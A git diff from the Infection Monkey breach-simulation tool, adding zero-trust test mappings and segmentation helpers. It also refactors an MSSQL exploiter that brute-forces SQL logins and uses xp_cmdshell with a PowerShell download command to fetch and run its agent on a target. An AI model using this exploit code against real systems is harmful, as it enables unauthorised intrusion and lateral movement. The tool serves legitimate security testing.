+POSSIBLE_STATUSES_KEY = u"possible_statuses" +PILLARS_KEY = u"pillars" +PRINCIPLE_KEY = u"principle_key" +FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation" +TEST_EXPLANATION_KEY = u"explanation" +TESTS_MAP = { + TEST_SEGMENTATION: { + TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", + STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." + }, + PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] + }, + TEST_MALICIOUS_ACTIVITY_TIMELINE: { + TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." + }, + PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] + }, + TEST_ENDPOINT_SECURITY_EXISTS: { + TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", + STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." + }, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_MACHINE_EXPLOITED: { + TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", + STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." + }, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY] + }, + TEST_SCHEDULED_EXECUTION: { + TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", + STATUS_PASSED: "Monkey failed to execute in a scheduled manner." + }, + PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, + PILLARS_KEY: [PEOPLE, NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] + }, + TEST_DATA_ENDPOINT_ELASTIC: { + TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." + }, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_DATA_ENDPOINT_HTTP: { + TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." + }, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_TUNNELING: { + TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + }, + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] + }, + TEST_COMMUNICATE_AS_NEW_USER: { + TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." + }, + PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, + PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, +} + +EVENT_TYPE_MONKEY_NETWORK = "monkey_network" +EVENT_TYPE_MONKEY_LOCAL = "monkey_local" +EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK) + +PILLARS_TO_TESTS = { + DATA: [], + PEOPLE: [], + NETWORKS: [], + DEVICES: [], + WORKLOADS: [], + VISIBILITY_ANALYTICS: [], + AUTOMATION_ORCHESTRATION: [] +} + +PRINCIPLES_TO_TESTS = {} + +PRINCIPLES_TO_PILLARS = {} + + +def populate_mappings(): + populate_pillars_to_tests() + populate_principles_to_tests() + populate_principles_to_pillars() + + +def populate_pillars_to_tests(): + for pillar in PILLARS: + for test, test_info in TESTS_MAP.items(): + if pillar in test_info[PILLARS_KEY]: + PILLARS_TO_TESTS[pillar].append(test) + + +def populate_principles_to_tests(): + for single_principle in PRINCIPLES: + PRINCIPLES_TO_TESTS[single_principle] = [] + for test, test_info in TESTS_MAP.items(): + PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test) + + +def populate_principles_to_pillars(): + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + principles_pillars = set() + for test in principle_tests: + for pillar in TESTS_MAP[test][PILLARS_KEY]: + principles_pillars.add(pillar) + PRINCIPLES_TO_PILLARS[principle] = principles_pillars diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py new file mode 100644 index 000000000..9bbaabf1d --- /dev/null +++ b/monkey/common/network/segmentation_utils.py @@ -0,0 +1,23 @@ +def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): + """ + Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. + :param ip_addresses: List[str]: List of IP addresses to test. + :param source_subnet: NetworkRange: Subnet to want an IP to not be in. + :param target_subnet: NetworkRange: Subnet we want an IP to be in. + :return: The cross segment IP if in source but not in target, else None. Union[str, None] + """ + if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None: + return None + return get_ip_if_in_subnet(ip_addresses, source_subnet) + + +def get_ip_if_in_subnet(ip_addresses, subnet): + """ + :param ip_addresses: IP address list. + :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange + :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None. + """ + for ip_address in ip_addresses: + if subnet.is_in_range(ip_address): + return ip_address + return None diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py new file mode 100644 index 000000000..56a560922 --- /dev/null +++ b/monkey/common/network/segmentation_utils_test.py @@ -0,0 +1,30 @@ +from common.network.network_range import * +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestSegmentationUtils(IslandTestCase): + def test_get_ip_in_src_and_not_in_dst(self): + self.fail_if_not_testing_env() + source = CidrRange("1.1.1.0/24") + target = CidrRange("2.2.2.0/24") + + # IP not in both + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target + )) + + # IP not in source, in target + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("2.2.2.2")], source, target + )) + + # IP in source, not in target + self.assertIsNotNone(get_ip_in_src_and_not_in_dst( + [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target + )) + + # IP in both subnets + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source + )) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index cb3c8f029..708bc8f3c 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -10,6 +10,20 @@ class ScanStatus(Enum): USED = 2 +class UsageEnum(Enum): + SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} + MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} + DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful."} + DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + + # Dict that describes what BITS job was used for BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system." diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index e95ad46b6..35bda0bd2 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,3 +1,4 @@ +import hashlib import os import json import sys @@ -13,9 +14,11 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') +SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"] +HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" + class Configuration(object): - def from_kv(self, formatted_data): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') @@ -53,6 +56,12 @@ class Configuration(object): result = self.from_kv(formatted_data) return result + @staticmethod + def hide_sensitive_info(config_dict): + for field in SENSITIVE_FIELDS: + config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT + return config_dict + def as_dict(self): result = {} for key in dir(Configuration): @@ -174,7 +183,7 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, # HTTP alternate 7001 # Oracle Weblogic default server port ] tcp_target_ports = [22, @@ -207,9 +216,6 @@ class Configuration(object): user_to_add = "Monkey_IUSER_SUPPORT" remote_user_pass = "Password1!" - # rdp exploiter - rdp_use_vbs_download = True - # User and password dictionaries for exploits. def get_exploit_user_password_pairs(self): @@ -272,5 +278,17 @@ class Configuration(object): PBA_linux_filename = None PBA_windows_filename = None + @staticmethod + def hash_sensitive_data(sensitive_data): + """ + Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is + saved on client machines plain-text. + + :param sensitive_data: the data to hash. + :return: the hashed data. + """ + password_hashed = hashlib.sha512(sensitive_data).hexdigest() + return password_hashed + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index f34784041..4e917e5a6 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -125,6 +125,7 @@ class ControlClient(object): @staticmethod def send_telemetry(telem_category, data): if not WormConfiguration.current_server: + LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) return try: telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} @@ -168,7 +169,8 @@ class ControlClient(object): try: unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) - LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),)) + LOG.info("New configuration was loaded from server: %r" % + (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)) except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error("Error parsing JSON reply from control server %s (%s): %s", diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index cc065a745..7c576fc30 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -11,9 +11,11 @@ from ctypes import c_char_p import filecmp from infection_monkey.config import WormConfiguration -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus, UsageEnum if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -156,5 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 8dba50352..57b8d6ee5 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -63,7 +63,6 @@ "user_to_add": "Monkey_IUSER_SUPPORT", "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0dacb3496..312b747b0 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -73,12 +73,11 @@ class HostExploiter(object, metaclass=ABCMeta): """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) - + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.smbexec import SmbExploiter -from infection_monkey.exploit.rdpgrinder import RdpExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.shellshock import ShellShockExploiter from infection_monkey.exploit.sambacry import SambaCryExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 24a902eea..f1057f2dd 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,9 +8,10 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ +from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT -from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE +from infection_monkey.network.elasticfinger import ES_PORT +from common.data.network_consts import ES_SERVICE from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING @@ -38,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 8dfa67b08..05c6315c1 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -11,7 +11,8 @@ import logging import posixpath from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND __author__ = 'VakarisZ' diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9d1dcb2d6..718615114 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,16 +1,18 @@ import logging import os -import textwrap +import sys from time import sleep import pymssql from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter, tools -from infection_monkey.exploit.tools import HTTPTools -from infection_monkey.exploit.tools import get_monkey_dest_path +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError LOG = logging.getLogger(__name__) @@ -24,98 +26,145 @@ class MSSQLExploiter(HostExploiter): # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' + # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' + TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" + + MAX_XP_CMDSHELL_COMMAND_SIZE = 128 + + XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" + XP_CMDSHELL_COMMAND_END = "\"" + EXPLOIT_COMMAND_PREFIX = ">{payload_file_path}" + CREATE_COMMAND_SUFFIX = ">{payload_file_path}" + MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ + "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) + self.cursor = None + self.monkey_server = None + self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): + """ + First this method brute forces to get the mssql connection (cursor). + Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after + """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not cursor: - LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) - return False + # Create dir for payload + self.create_temp_dir() - # Get monkey exe for host and it's path - src_path = tools.get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME) - - # Create monkey dir. - commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] - MSSQLExploiter.execute_command(cursor, commands) - - # Form download command in a file - commands = [ - "xp_cmdshell \"%s\"" % tmp_file_path, - "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), - "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(' '.join(commands)) - # Form monkey's command in a file - monkey_args = tools.build_monkey_commandline(self.host, - tools.get_monkey_depth() - 1, - dst_path) - monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) - for part in textwrap.wrap(monkey_args, 40)] - commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] - commands.extend(monkey_args) - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(commands[-1]) - return True - - @staticmethod - def run_file(cursor, file_path): - command = ["exec xp_cmdshell \"%s\"" % file_path] - return MSSQLExploiter.execute_command(cursor, command) - - @staticmethod - def execute_command(cursor, cmds): - """ - Executes commands on MSSQL server - :param cursor: MSSQL connection - :param cmds: list of commands in MSSQL syntax. - :return: True if successfully executed, false otherwise. - """ try: - # Running the cmd on remote host - for cmd in cmds: - cursor.execute(cmd) - sleep(MSSQLExploiter.QUERY_BUFFER) + self.create_empty_payload_file() + + self.start_monkey_server() + self.upload_monkey() + self.stop_monkey_server() + + # Clear payload to pass in another command + self.create_empty_payload_file() + + self.run_monkey() + + self.remove_temp_dir() except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) - return False + raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] + return True + def run_payload_file(self): + file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) + return self.run_mssql_command(file_running_command) + + def create_temp_dir(self): + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + self.run_mssql_command(dir_creation_command) + + def create_empty_payload_file(self): + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + self.run_mssql_command(tmp_file_creation_command) + + def run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + raise Exception("Couldn't execute MSSQL exploiter because payload was too long") + self.run_mssql_commands(array_of_commands) + + def run_monkey(self): + monkey_launch_command = self.get_monkey_launch_command() + self.run_mssql_command(monkey_launch_command) + self.run_payload_file() + + def run_mssql_commands(self, cmds): + for cmd in cmds: + self.cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + + def upload_monkey(self): + monkey_download_command = self.write_download_command_to_payload() + self.run_payload_file() + self.add_executed_cmd(monkey_download_command.command) + + def remove_temp_dir(self): + # Remove temporary dir we stored payload at + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) + self.run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + self.run_mssql_command(tmp_dir_removal_command) + + def start_monkey_server(self): + self.monkey_server = MonkeyHTTPServer(self.host) + self.monkey_server.start() + + def stop_monkey_server(self): + self.monkey_server.stop() + + def write_download_command_to_payload(self): + monkey_download_command = self.get_monkey_download_command() + self.run_mssql_command(monkey_download_command) + return monkey_download_command + + def get_monkey_launch_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + # Form monkey's launch command + monkey_args = build_monkey_commandline(self.host, + get_monkey_depth() - 1, + dst_path) + suffix = ">>{}".format(self.payload_file_path) + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) + + def get_monkey_download_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + format(http_path=self.monkey_server.http_path, dst_path=dst_path) + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) + return MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) + def brute_force(self, host, port, users_passwords_pairs_list): """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not - """ + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: @@ -123,8 +172,9 @@ class MSSQLExploiter(HostExploiter): # Core steps # Trying to connect conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) - LOG.info('Successfully connected to host: {0}, ' - 'using user: {1}, password: {2}'.format(host, user, password)) + LOG.info( + 'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format( + host, user, self._config.hash_sensitive_data(password))) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() @@ -136,4 +186,12 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return None + raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + + +class MSSQLLimitedSizePayload(LimitedSizePayload): + def __init__(self, command, prefix="", suffix=""): + super(MSSQLLimitedSizePayload, self).__init__(command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, + suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py deleted file mode 100644 index ed64736ac..000000000 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ /dev/null @@ -1,347 +0,0 @@ -import os.path -import threading -import time -from logging import getLogger - -import rdpy.core.log as rdpy_log -import twisted.python.log -from rdpy.core.error import RDPSecurityNegoFail -from rdpy.protocol.rdp import rdp -from twisted.internet import reactor - -from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth -from infection_monkey.exploit.tools import get_target_monkey -from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline -from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -from infection_monkey.utils import utf_to_ascii -from common.utils.exploit_enum import ExploitType -from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING - -__author__ = 'hoffer' - -KEYS_INTERVAL = 0.1 -MAX_WAIT_FOR_UPDATE = 120 -KEYS_SENDER_SLEEP = 0.01 -DOWNLOAD_TIMEOUT = 60 -RDP_PORT = 3389 -LOG = getLogger(__name__) - - -def twisted_log_func(*message, **kw): - if kw.get('isError'): - error_msg = 'Unknown' - if 'failure' in kw: - error_msg = kw['failure'].getErrorMessage() - LOG.error("Error from twisted library: %s" % (error_msg,)) - else: - LOG.debug("Message from twisted library: %s" % (str(message),)) - - -def rdpy_log_func(message): - LOG.debug("Message from rdpy library: %s" % (message,)) - - -twisted.python.log.msg = twisted_log_func -rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR -rdpy_log.log = rdpy_log_func - -# thread for twisted reactor, create once. -global g_reactor -g_reactor = threading.Thread(target=reactor.run, args=(False,)) - - -class ScanCodeEvent(object): - def __init__(self, code, is_pressed=False, is_special=False): - self.code = code - self.is_pressed = is_pressed - self.is_special = is_special - - -class CharEvent(object): - def __init__(self, char, is_pressed=False): - self.char = char - self.is_pressed = is_pressed - - -class SleepEvent(object): - def __init__(self, interval): - self.interval = interval - - -class WaitUpdateEvent(object): - def __init__(self, updates=1): - self.updates = updates - pass - - -def str_to_keys(orig_str): - result = [] - for c in orig_str: - result.append(CharEvent(c, True)) - result.append(CharEvent(c, False)) - result.append(WaitUpdateEvent()) - return result - - -class KeyPressRDPClient(rdp.RDPClientObserver): - def __init__(self, controller, keys, width, height, addr): - super(KeyPressRDPClient, self).__init__(controller) - self._keys = keys - self._addr = addr - self._update_lock = threading.Lock() - self._wait_update = False - self._keys_thread = threading.Thread(target=self._keysSender) - self._keys_thread.daemon = True - self._width = width - self._height = height - self._last_update = 0 - self.closed = False - self.success = False - self._wait_for_update = None - - def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): - update_time = time.time() - self._update_lock.acquire() - 